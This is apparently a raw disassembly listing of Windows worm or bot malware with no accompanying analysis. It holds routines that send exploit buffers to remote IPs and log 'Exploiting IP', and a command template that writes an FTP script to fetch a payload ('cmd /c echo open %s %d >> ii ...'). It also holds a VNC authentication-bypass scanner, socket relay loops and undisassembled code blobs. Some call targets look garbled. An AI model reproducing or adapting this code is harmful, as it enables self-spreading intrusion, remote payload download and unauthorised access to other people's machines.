loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 2670E97h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		call	near ptr 2700000h
		nop
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 26F107Dh
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 89E890B4h, 50023116h, 0E6FC35FFh,	0E890004Ch
		dd 231167Ch, 0CDE89050h, 8D02310Fh, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 0E8905700h, 2251B0Fh, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 0F92E890h, 45890227h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 79E89050h, 6A02270Fh, 0F04589FFh
		dd 90D875FFh, 281110E8h, 75FF5702h, 46E890F0h, 57022818h
		dd 90EC75FFh, 28183CE8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 0E8D875FFh, 230195Eh, 35FF90h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
		dd 8B022D0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 68022D0Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Dh, 0FC15FF57h
		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
